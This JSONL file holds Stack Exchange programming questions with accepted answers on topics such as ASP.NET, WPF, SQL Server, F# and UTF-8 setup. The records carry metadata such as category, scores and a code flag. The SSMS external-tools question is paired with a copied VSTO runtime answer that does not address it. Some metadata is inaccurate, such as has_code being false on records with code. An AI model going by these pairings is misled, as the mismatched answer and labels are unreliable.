{"id": "hf_bbc75fc57851", "question": "<p>I was looking for something like Server.MapPath in the ASP.NET realm to convert the output of Assembly.GetExecutingAssembly().CodeBase into a file path with drive letter.</p>\n\n<p>The following code works for the test cases I've tried:</p>\n\n<pre>\nprivate static string ConvertUriToPath(string fileName)\n{\n    fileName = fileName.Replace(\"file:///\", \"\");\n    fileName = fileName.Replace(\"/\", \"\\\\\");\n    return fileName;\n}\n</pre>\n\n<p>It seems like there should be something in the .NET Framework that would be much better--I just haven't been able to find it.</p>\n", "question_body": "", "answer": "Can you just use\n```\nAssembly.Location\n```\n?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:52.815675"}
{"id": "hf_033d04d90087", "question": "<p>I have an asp.net image button and I want to cancel the click event incase he fails the client side validation... how do I do that?</p>\n", "question_body": "", "answer": "There is an OnClientClick event you can set this to your javascript function. If you return true it will continue to the post back.  If you return false the post back will not happen.\n```\n```\n<asp:Button ID=\"NavigateAway\" runat=\"server\" OnClientClick=\"javascript:return PromptToNavigateOff();\" OnClick=\"NavigateAwayButton_Click\" Text=\"Go Away\" />\n\n  <script type=\"text/javascript\">\n    function PromptToNavigateOff()\n    {\n        return confirm(\"Are you sure you want to continue  and loose all your changes?\");\n    }\n\n  </script>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:52.857530"}
{"id": "hf_619f929bb4b0", "question": "<p>What is the best compiler to experiment with C++0x features? I have been experimenting with GNU g++ 4.4. </p>\n", "question_body": "", "answer": "ConceptGCC\n(wiki)\nwas made for that purpose, if I am not mistaken.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:52.893151"}
{"id": "hf_caff17864fc0", "question": "<p>Here is my code: </p>\n\n<pre><code>ThreadStart threadStart = controller.OpenFile;\nThread thread = new Thread(threadStart);\nthread.Start();\n</code></pre>\n\n<p>In the OpenFile function, my code looks like:</p>\n\n<pre><code>System.Console.Error.WriteLine(\"Launching\");\n</code></pre>\n\n<p>The code in OpenFile doesn't get executed for 30 seconds exactly. It starts immediately on my machine, but in our production environment it takes 30 seconds before that print statement will execute.</p>\n\n<p>Is there a setting or something that might be doing this? Where would I start looking?</p>\n", "question_body": "", "answer": "Do you have the same problem if you use other threading methods (for example, Threadpool)? This would tell if it's related to this method of threading, or to all methods. Also, is that WriteLine statement the only statement in your OpenFile procedure? 30 seconds is a common timeout length so maybe that's what's happening here.\nOther than that, I'm not sure why the thread handler would pause for 30 seconds before processing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:52.980162"}
{"id": "hf_38ff85c57dee", "question": "<p>you would think this would be obvious, but searching through documentation, SAP forums, Googling, etc., I've been spectacularly unsuccessful.  I'm creating a file in ABAP on a solaris filesystem using the following code:</p>\n\n<pre><code>OPEN DATASET p_file FOR OUTPUT IN TEXT MODE ENCODING DEFAULT.\n</code></pre>\n\n<p>the resulting file is owned and grouped according to a pre-defined admin user, which is fine, but the sticky wicket is that the permissions are set to 660/rw-rw----, meaning I can't examine the results.  is there a way (possibly using that vaguely defined TYPE addition?) I can specify the resulting permissions on the new file?</p>\n\n<p>thanks!</p>\n", "question_body": "", "answer": "Go to SM69, create a logical system command, you could call it ZCHMOD.\nMap that command to\n```\nchmod\n```\n, then call with the proper parameter\n(\n```\nman chmod\n```\non the command line is your friend).\n```\n```\nCALL FUNCTION 'SXPG_COMMAND_EXECUTE'\n  EXPORTING\n    commandname                   = 'ZCHMOD'\n    additional_parameters         = l_par\n    operatingsystem               = l_os\n  TABLES\n    exec_protocol                 = it_log\n  EXCEPTIONS\n    no_permission                 = 1\n    command_not_found             = 2\n    parameters_too_long           = 3\n    security_risk                 = 4\n    wrong_check_call_interface    = 5\n    program_start_error           = 6\n    program_termination_error     = 7\n    x_error                       = 8\n    parameter_expected            = 9\n    too_many_parameters           = 10\n    illegal_command               = 11\n    wrong_asynchronous_parameters = 12\n    cant_enq_tbtco_entry          = 13\n    jobcount_generation_error     = 14\n    OTHERS                        = 15.\n```\n```\nObviously, that would be a 2 step process, but it works.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:53.031514"}
{"id": "hf_21efdba61ad9", "question": "<p>Our product has the requirement of exporting its native format (essentially an XML file) to Excel for viewing/editing. However, what this entails is having a dependency on Excel (or Office) itself for our product build - something that we do not want. </p>\n\n<p>What we have done is export the data from our native format to a csv file which can be opened in Excel. If user selects an option to open the generated report as well, we (try to) launch Excel application to open it (ofcourse it requires Excel to be already present on the client system).</p>\n\n<p>The data for most part is flat list of records.</p>\n\n<p>Is there a better format (or even a better way) to handle this requirement? This is a common requirement for many products - how do you handle this?</p>\n", "question_body": "", "answer": "I'm using\nExcelPackage\nto create spreadsheets in one of my side projects.  Works pretty good, but (at least the version I'm using) its a bit limited when it comes to styling and calculations.\nExcelPackage lets you create OOXML docs (.xslx files) that are natively compat with 2k7, but you can\ndownload a plugin\nfor previous versions of Office from MS.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:53.077436"}
{"id": "hf_ce963a8eb17e", "question": "<p>I need to render JSON data in my JSPs for some AJAX requests. I'd like to know what's the best way to do it in terms of easy to use and stability.</p>\n", "question_body": "", "answer": "Assuming you want to generate the JSON from one or more Java objects, the following is a fairly straightforward approach:\nSet the Java object(s) as attributes in request/session scope\nConvert the objects to JSON using a tag library such as\nhttp://json-taglib.sourceforge.net/index.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:53.123590"}
{"id": "hf_53ee25ac8f71", "question": "<p>I'm inserting an img tag into my document with the new Element constructor like this (this works just fine):</p>\n\n<pre><code>$('placeholder').insert(new Element(\"img\", {id:'something', src:myImage}))\n</code></pre>\n\n<p>I would like to trigger a function when this image loads, but I can't figure out the correct syntax. I'm guess it's something like this (which doesn't work).</p>\n\n<pre><code>$('placeholder').insert(new Element(\"img\", \n    {id:'something', src:myImage, onload:function(){alert(\"MOO\")}}))\n</code></pre>\n\n<p>I'm hoping to do this in the same line of code and not to have to attach an event observer separately.</p>\n\n<p><strong>EDIT:</strong> The event needs to be registered when the element is <strong>created</strong>, not after. If the image loads before the event is attached, the event will never fire.</p>\n", "question_body": "", "answer": "You might have to move the function elsewhere and call it by name\n```\n```\n$('placeholder').insert(new Element(\"img\", \n    {id:'something', src:myImage, onload:\"javascript:moo()\"}))\n\nfunction moo() {\n    alert(\"MOO\");\n}\n```\n```\nOf course, because\n```\ninsert\n```\nreturns the element, you could inline\n```\nElement.observe\n```\n```\n```\n$('placeholder').insert(new Element(\"img\", \n    {id:'something', src:myImage})).observe('load', function(){alert(\"MOO\")});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:53.156917"}
{"id": "hf_01099d0c9afb", "question": "<p>How do I set the date/time of the computer in C#?</p>\n", "question_body": "", "answer": "You will need to call the\nSetSystemTime\nWin32 API function through P/Invoke.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:53.189876"}
{"id": "hf_b9ff06e9231b", "question": "<p>I'm looking to vertically align text by adding <code>&lt;br /&gt;</code> tags between characters with jQuery.</p>\n\n<pre><code>&lt;div id=\"foo\"&gt;&lt;label&gt;Vertical Text&lt;/label&gt;&lt;/div&gt; \n</code></pre>\n\n<p>would look like this:</p>\n\n<p>V<br />\ne<br />\nr<br />\nt<br />\ni<br />\nc<br />\na<br />\nl<br />\n<br />\nT<br />\ne<br />\nx<br />\nt<br /></p>\n", "question_body": "", "answer": "Not tested, but it should work.\n```\n```\nvar element = $( '#foo label' );\nvar newData = '';\nvar data = element.text();\nvar length = data.length;\nvar i = 0;\n\nwhile( i < length )\n{\n\n    newData += data.charAt( i ) + '<br />';\n    i++;\n\n}\n\nelement.html( newData );\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:53.211721"}
{"id": "hf_52c0e585fa1f", "question": "<p>I am trying to do this...</p>\n\n<pre><code>&lt;Image x:Name=\"imgGroupImage\" Source=\"Images\\unlock.png\" Margin=\"0,0,5,0\" /&gt;\n</code></pre>\n\n<p>But I get this error...</p>\n\n<blockquote>\n  <p>Cannot convert string 'Images\\unlock.png' in attribute 'Source' to object of type 'System.Windows.Media.ImageSource'. Cannot locate resource 'forms/images/unlock.png'.  Error at object 'System.Windows.HierarchicalDataTemplate' in markup file 'Fuse;component/forms/mainwindow.xaml' Line 273 Position 51.</p>\n</blockquote>\n\n<p>As you can see, my form that includes this XAML is in a folder named Forms. My Images are in a folder named Images. How do I map from Forms to Images?</p>\n\n<p>I tried <code>Source=\"..Images\\unlock.png\"</code> which does not work in WPF.</p>\n\n<p>Any help?</p>\n", "question_body": "", "answer": "Try slashes rather than backslashes, and use an absolute path by leading with a slash:\n```\n```\nSource=\"/Images/unlock.png\"\n```\n```\nThat generally works for me.\nFailing that, take a look at\nPack URIs\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:53.243421"}
{"id": "hf_d6c976c4ae58", "question": "<p>Would the following SQL statement automatically create an index on Table1.Table1Column, or must one be explicitly created?</p>\n\n<p>Database engine is SQL Server 2000</p>\n\n<pre><code>       CREATE TABLE [Table1] (\n. . .\n            CONSTRAINT [FK_Table1_Table2] FOREIGN KEY \n            (\n                [Table1Column]\n            ) REFERENCES [Table2] (\n                [Table2ID]\n            )\n\n        )\n</code></pre>\n", "question_body": "", "answer": "SQL Server will not automatically create an index on a foreign key.  Also from MSDN:\nA FOREIGN KEY constraint does not have\n  to be linked only to a PRIMARY KEY\n  constraint in another table; it can\n  also be defined to reference the\n  columns of a UNIQUE constraint in\n  another table. A FOREIGN KEY\n  constraint can contain null values;\n  however, if any column of a composite\n  FOREIGN KEY constraint contains null\n  values, verification of all values\n  that make up the FOREIGN KEY\n  constraint is skipped. To make sure\n  that all values of a composite FOREIGN\n  KEY constraint are verified, specify\n  NOT NULL on all the participating\n  columns.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:53.281932"}
{"id": "hf_837e7e653e72", "question": "<p>When using a Silverlight-enabled WCF service, where is the best place to instantiate the service and to call the CloseAsync() method?</p>\n\n<p>Should you say, instantiate an instance each time you need to make a call to the service, or is it better to just instantiate an instance as a variable of the UserControl that will be making the calls?</p>\n\n<p>Then, where is it better to call the CloseAsync method?  Should you call it in each of the \"someServiceCall_completed\" event methods?  Or, if created as a variable of the UserControl class, is there a single place to call it?  Like a Dispose method, or something equivalent for the UserControl class.</p>\n\n<p>Thanks,</p>\n\n<p>Jeff</p>\n", "question_body": "", "answer": "You're better off just having an instance variable for the service. Creating and destroying the service for each call creates a lot of unnecessary overhead. Just create the variable and call the methods, no need to open it since this will be\ndone automatically\nas of beta 2 (see section #5).\nAs for close, whether you try to close it for clean up probably depends on how your app is structured. If when the UserControl is closed the whole app is shutting down (the user closed the browser) then you probably don't need to explicitly close it since everything will get cleaned up when the Silverlight host closes. However, if you're creating lots of these user control and closing them while keeping the app open then you might want to create some kind of close method on your control that would clean up by calling CloseAsync.\nIf all the user controls use the same service, then you could just create a single service wrapper class that is used by all the controls that would handle calling the service. This would keep you from having to close the services when the controls unload as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:53.309928"}
{"id": "hf_95211819fe85", "question": "<p>Is there a good tutorial on working with (programming) threads in Visual Studio 2005? Not <a href=\"http://en.wikipedia.org/wiki/Microsoft_Foundation_Class_Library\" rel=\"nofollow noreferrer\">MFC</a> related, just native C++ (no .NET).</p>\n", "question_body": "", "answer": "Win32 Multithreaded Programming\nAlso try some of the free undergraduate podcasts on operating systems. You can find theoretical discussions on locking, multithreading, etc. (\nthe one I know of is from Berkeley\nand is based on Java, but it is still relevant).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:53.342032"}
{"id": "hf_0d495ee89d82", "question": "<p>What's the best way to implement friendly URL in ASP.net?</p>\n", "question_body": "", "answer": "The\nASP.NET Routing Framework\nprovided in .NET 3.5 SP1 is a good one.\nAlthough it is very new, it can handles many URL-related tasks and most frequently used URL-friendly schemes very well.\nIt can be used outside of MVC, too.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:53.401715"}
{"id": "hf_2f3f7dc93869", "question": "<p>Let's take a very simple example:</p>\n\n<ul>\n<li>In my window1.xaml, i have a label\ncontrol named 'lblProduct'.</li>\n<li>In my window1.xaml.cs, i have a\npublic method called\nCalculateProduct(Int Var1, Int\nVar2).  CalculateProduct will, as\nyou may have guessed, calculate the\nproduct of the variables passed in.</li>\n</ul>\n\n<p>I'd like to simply bind the results of 'CalculateProduct' to my label.  My actual use case is a little more complicated than this. However, if I could get this up and running not only would I be quite happy, I'd be able to figure out the rest.</p>\n\n<p>I've seen interesting examples using the ObjectDataProvider to bind to a static method of a new class.  While this is well and good, I don't feel the need to create a new class when I've already instantiated the one for my window.  In addition, there may be other global variables that I'd like to take advantage of in my Window1 class.</p>\n\n<p>Thanks for your time and help,</p>\n\n<p>Abel.</p>\n", "question_body": "", "answer": "```\nObjectDataProvider\n```\nhas an\n```\nObjectInstance\n```\nproperty that you can assign your Window instance to.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:53.424743"}
{"id": "hf_8feaa163506b", "question": "<p>I have an ASP.NET 2.0 (C#) webpage with a link that pulls a blob from a MS SQL database and ouputs it in the appropriat file format, i.e., Word, WordPerfect, PDF.</p>\n\n<p>My users would like to print these files with one click. Right now they have to click the link to open the file, then click the \"Print\" button within the application that they file opened.</p>\n\n<p>In addition, I would like to send multiple documents to the printer, using one click, if possible.</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "Do you want to print to a Printer attached to the Server, or attached to the client?\nIf you want to print on the Client, you won't have much chance. For HTML Content, maybe some JavaScript or Flash could trigger the Print Dialog (not sure), but if it's a File that has to be opened in a third party application (i.e. PDF, DOC, XLS etc.), you're out of luck.\nIf it's an internal Network, you could possibly create a Desktop Application that is installed on every Client's PC that then triggers the Print.\nIf it is a Printer Attached to the Server, you can use the standard .net facilities for Printing, although you again may have to work around situations where you are trying to print PDF/DOC/XLS etc., because then you need to use Automation (either COM or something like SendKeys), which will cause you headaches on a Server.\nSo in Short: Not much you can do with only ASP.net at your disposal.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:53.471308"}
{"id": "hf_d239cae03e77", "question": "<p>I'm trying to find SQL statements that timed out using the SQL 2005 profiler. Is there a way to set such a filter?</p>\n", "question_body": "", "answer": "In Profiler, you can add the event \"Attention\" under \"Errors and Warnings\".  It's definition is\nCollects all attention events, such as\n  client interrupt request or when a\n  client connection is broken.\nAs far as other errors (deadlocks, contraints, etc), try \"Execution Warning\" (reports warning that occurred during the execution of SQL statement or procedure) or \"User Error Message\" (the error message displayed to the user in the case of an error or exception).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:53.494350"}
{"id": "hf_389c51194c5c", "question": "<p>I would like to use Python to script an application that advertises itself as providing an OLE component. How should I get started?</p>\n\n<p>I don't yet know what methods I need to call on the COMponents I will be accessing. Should I use win32com to load those components, and then start pressing 'tab' in IPython?</p>\n", "question_body": "", "answer": "You need the\nwin32com\npackage. Some examples:\n```\n```\nfrom win32com.client.dynamic import Dispatch\n\n# Excel\nexcel = Dispatch('Excel.Application')\n\n# Vim\nvim = Dispatch('Vim.Application')\n```\n```\nAnd then call whatever you like on them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:53.516653"}
{"id": "hf_9900a6a02436", "question": "<p>\"To summarize: if you install VSTO 2005 SE on top of a clean VS 2005 Professional, you won't have the document-level templates. If you want to have them you need to have VS 2005 Team Suite/Team Edition or you need to install the previous version of VSTO: VSTO 2005. So VS 2005 Professional + VSTO 2005 + VSTO 2005 SE will give you the document-level templates!\"</p>\n\n<p>So my question is, does anyone have a link to a VSTO 2005 download (it is no longer available from Microsoft).</p>\n", "question_body": "", "answer": "Maybe this one will help\nMicrosoft Visual Studio 2005 Tools for Office 2005 Runtime (VSTO 2005 RTM)\nThe VSTO 2005 redistributable package installs the Visual Studio Tools for Office runtime, which is required to run solutions built using VSTO 2005. This runtime supports document-level customizations for Microsoft Office Excel 2003 and Microsoft Office Word 2003, and application-level add-ins for Microsoft Office Outlook 2003.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:53.550204"}
{"id": "hf_64850cd2cf8a", "question": "<p>Does anyone have any experience of developing external tools for SSMS 2005.  </p>\n\n<p>Ideally I would like to be able to interact with the query windows directly, for example, taking the query text from the window to perform some processing on it.</p>\n\n<p>Any pointers in the right direction would be great.</p>\n\n<p>Thanks in advance</p>\n", "question_body": "", "answer": "Maybe this one will help\nMicrosoft Visual Studio 2005 Tools for Office 2005 Runtime (VSTO 2005 RTM)\nThe VSTO 2005 redistributable package installs the Visual Studio Tools for Office runtime, which is required to run solutions built using VSTO 2005. This runtime supports document-level customizations for Microsoft Office Excel 2003 and Microsoft Office Word 2003, and application-level add-ins for Microsoft Office Outlook 2003.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:53.572841"}
{"id": "hf_f6f240470f93", "question": "<p>I'm trying to read the contents of a text file, in this case a list of computer names (Computer1, computer2 etc,) and I thought that StreamReader would be what you would use but when I do the following:</p>\n\n<pre><code>StreamReader arrComputer = new StreamReader(FileDialog.filename)();\n</code></pre>\n\n<p>I got this exception:</p>\n\n<pre><code>The type or namespace name 'StreamReader' could not be found (are you missing a using directive or an assembly reference?)  \n</code></pre>\n\n<p>I'm very new to C# so I'm sure I'm making a newbie mistake.</p>\n", "question_body": "", "answer": "try\n```\n```\nusing System.IO;\n\nStreamReader arrComputer = new StreamReader(FileDialog.filename);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:53.606471"}
{"id": "hf_24ebf724e170", "question": "<p>Anyone have recommendations for webcast software, similar to the Silverlight app here: <a href=\"http://channel9.msdn.com/pdc2008/TL57/\" rel=\"nofollow noreferrer\">http://channel9.msdn.com/pdc2008/TL57/</a></p>\n\n<p>I looked at a couple other questions posted here, but I don't want a hosted solution.</p>\n", "question_body": "", "answer": "For Flash there is\nJW FLV Player\n. Just put the files on your own web server. On CodePlex you can find a\nSilverlight 2.0 media player\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:53.652005"}
{"id": "hf_78c010e12794", "question": "<p>I know MSDE is no longer supported on Vista, is this also the case for Windows Server 2008?</p>\n", "question_body": "", "answer": "The status is the same for Vista and all OS after Vista, which includes both Windows 2008 and Windows 7.\nI do not know if you can somehow \"make it work\", but you will not get any Support from Microsoft.\nEdit: Source is\nhere\n, the two important bits:\nMSDE 2000 will exit mainstream support on 4/8/2008 and no new deployment agreements will be allowed after June 30, 2007.\nand\nYes, MSDE will be supported through the end of it's life cycle on the operating systems it is currently designed to run on.\n(That was up to Windows XP and 2003 Server)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:53.674635"}
{"id": "hf_7a6100537d32", "question": "<p>What is the most elegant way of bubble-sorting in F#?</p>\n\n<p><strong>UPDATE</strong></p>\n\n<p>As pointed out in one of the answers, bubble sorting isn't efficient in a functional language to begin with. A humourously-cynical commenter also pointed out that bubble sorting is only appropriate when the list is small and it's almost sorted anyway. </p>\n\n<p>However, I'm curious to see how a clever bubble-sort can be written in F#, since I've done bubble sorts in C#, C++, and Java EE in the past, and since I'm an F# newbie.</p>\n", "question_body": "", "answer": "using bubble sort in a functional language isn't very efficient, because the implementation has to reverse the list many times (and this can't be really implemented very efficiently for immutable lists).\nAnyway, the example from Erlang can be rewritten to F# like this:\n```\n```\nlet sort l = \n  let rec sortUtil acc rev l =\n    match l, rev with\n    | [], true -> acc |> List.rev\n    | [], false -> acc |> List.rev |> sortUtil [] true\n    | x::y::tl, _ when x > y -> sortUtil (y::acc) false (x::tl)\n    | hd::tl, _ -> sortUtil (hd::acc) rev tl\n  sortUtil [] true l\n```\n```\nOn the other side, you can implement the same algorithm using mutable arrays. This will be more efficient and in F# you can work with arrays too if you want. The following function creates a copy of the array and sorts it.\n```\n```\nlet sort (arr:'a[]) = \n  let arr = arr |> Array.copy\n  let swap i j = let tmp = arr.[i] in arr.[i] <- arr.[j]; arr.[j] <- tmp\n  for i = arr.Length - 1 downto 0 do\n    for j = 1 to i do\n      if (arr.[j - 1] > arr.[j]) then swap (j-1) j\n  arr\n```\n```\nTomas", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:53.720341"}
{"id": "hf_1d88165ed2b3", "question": "<p>I'm going to try to ask my question in the context of a simple example...</p>\n\n<p>Let's say I have an abstract base class Car.  Car has-a basic Engine object.  I have a method StartEngine() in the abstract Car class that delegates the starting of the engine to the Engine object.</p>\n\n<p>How do I allow subclasses of Car (like Ferrari) to declare the Engine object as a specific type of engine (e.g., TurboEngine)?  Do I need another Car class (TurboCar)?</p>\n\n<p>I'm inheriting a plain old Engine object and I cannot re-declare (or override) it as a TurboEngine in my Car subclasses. </p>\n\n<p><strong>EDIT:</strong>  I understand that I can plug any subclass of Engine into myEngine reference within my Ferrari class...but how can I call methods that only the TurboEngine exposes?  Because myEngine is inherited as a base Engine, none of the turbo stuff is included. </p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "There are lots of ways it could be done.\nI would favour having a\n```\nsetEngine()\n```\nmethod on\n```\nCar\n```\n, then having the\n```\nFerrari\n```\nconstructor call\n```\nsetEngine()\n```\nand pass in an instance of a\n```\nTurboEngine\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:53.767420"}
{"id": "hf_8c816c1afdce", "question": "<p>\nI'm setting up a new server and want to support UTF-8 fully in my web application. I have tried this in the past on existing servers and always seem to end up having to fall back to ISO-8859-1.</p>\n\n<p>Where exactly do I need to set the encoding/charsets? I'm aware that I need to configure Apache, MySQL, and PHP to do this — is there some standard checklist I can follow, or perhaps troubleshoot where the mismatches occur?</p>\n\n<p>This is for a new Linux server, running MySQL 5, PHP, 5 and Apache 2.</p>\n", "question_body": "", "answer": "In PHP, you'll need to either use the\nmultibyte functions\n, or turn on\nmbstring.func_overload\n. That way things like strlen will work if you have characters that take more than one byte.\nYou'll also need to identify the character set of your responses. You can either use AddDefaultCharset, as above, or write PHP code that returns the header. (Or you can add a META tag to your HTML documents.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:53.825225"}
{"id": "hf_0858ca4a01a9", "question": "<p>I am trying my hardest to define a list of CodeAnalysisRules that should be omitted from the Code Analysis tools when MSBuild executes my TFSBuild.proj file.</p>\n\n<p>But each time I test it, my list of Code Analysis Rules to exclude are ignored and Team Build just simply honors the Code Analysis Rules settings for each project.</p>\n\n<p>Anyone have an example of a TFSBuild.proj file that shares one list of Code Analysis Rules exceptions for all projects that are build in Team?  I am using Team System 2008.</p>\n\n<p>Thanks for any assistance?</p>\n", "question_body": "", "answer": "Well, it took me a while to find this but here is the best answer I could find\nhttp://bloggingabout.net/blogs/rick/archive/2007/09/04/howto-disable-specific-code-analysis-rules-for-a-team-build.aspx\nIt works, and it does let me enforce a consistent set of rules across all of my solutions without having to visit each project's file and that is huge for me as we tweak our rulesets and don't wish to manually update each project each time\nAnyone else know of anything that works?\n- this was a VS2005 solution/workaround so I was hoping that it would be easier in VS2008 Team System but so far haven't found anything else", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:53.873643"}
{"id": "hf_0a3e1633b250", "question": "<p>I have a VB6 picture box that gets an image from a video capture device.</p>\n\n<p>I'm trying to figure out how to then convert the picture box to a byte array.</p>\n", "question_body": "", "answer": "It's been a long time since I've worked with VB6 but as far as I remember, you can just serialize the image into a\n```\nPropertyBag\n```\nand get the contents as a byte array.\nThe only alternative I know requires heavy use of WinAPI to accomplish the same.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:53.959338"}
